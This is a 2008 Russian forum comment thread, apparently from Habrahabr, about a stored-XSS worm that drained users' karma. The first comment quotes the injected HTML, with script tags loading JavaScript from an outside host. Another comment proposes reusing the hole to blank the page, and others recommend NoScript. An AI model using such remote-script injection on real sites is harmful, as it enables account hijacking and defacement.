Zeraman May 28 2008 at 20:07

43231.html#comments

1 min

535

Comments 17

arestov May 28 2008 at 20:13

<center><img src="http://habrahabr.ru/pictures/00/00/05/60/39/picture_1.png" width="119" height="102" border="0" alt="Денискин! Пыщь-прыщь!" hspace="10" vspace="10"></center><br /> <br /> <nobr><a href="http://deniskin.habrahabr.ru/"><img src="http://www.habrahabr.ru/i/small_default_userpic.gif" border="0" alt="посмотреть профиль" title="посмотреть профиль"></a> <a href="http://deniskin.habrahabr.ru/">Денискин</a></nobr>, вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> , вернись на хабр! Без тебя здесь скушно! Пыщь-пыщь.<br /> <script src="http://voocero.com/karma.js"<br /> </script<br /> <br /> <script src="http://voocero.com/r.js"<br /> </script</code></blockquote>

arestov May 28 2008 at 20:44

хей, ребята, а может добавить туда коммент использующий туже уязвимость? в духе

document.getElementbyId("left").innerHTML=""

кто там хорошо на js пишет?)

Fenniks May 28 2008 at 20:18

Вы как хотите но это наглый развод на почту :(

gag_fenix Aug 2 2008 at 22:01

leprosorium-invite.narod.ru моих рук дело
это просто шутка, e-mailы я даже не записываю
там же голый HTML

ganzer May 28 2008 at 20:22

Так вот какая сука съела у меня 7 ведер кармы!

alfsoft May 28 2008 at 20:49

Блин, тогда не залез, так счас залез - посмотреть... Голос ку-ку. Теперь 15 минут ждать из-за i_love_him, чтобы одному хорошему человеку карму поднять. :0)

falone May 28 2008 at 21:01

хм, я тоже попался (

Power May 28 2008 at 20:59

Именно из-за этих уязвимостей на хабре (привет, суперхабр!) я и поставил плагин NoScript, чего и всем советую.

arestov May 28 2008 at 21:00

и чего он делает? просто скрипты отключают или особо както?

takkmoil May 28 2008 at 21:28

особо отключает, с настройками, кому чего можно, а кому нельзя. полезная штука.

Power May 28 2008 at 21:30

Делает он много чего, в том числе предотвращает XSS, которым тут активно пользуются.

Вообще, он блокирует javascript, java, flash, silverlight, другие плагины, iframe (всё настраивается) по принципу белого списка: пока явно не разрешишь, будет заблокировано. Как фичу имеет защиту от XSS.

Xfrid May 28 2008 at 21:23

Сорри, немного не в тему, но может кто подскажет: как можно реально попасть на лепру или дёти? dirty.ru например уже лет 5 читаю время от времени а акка нет =( Может инвайтом кто заделится?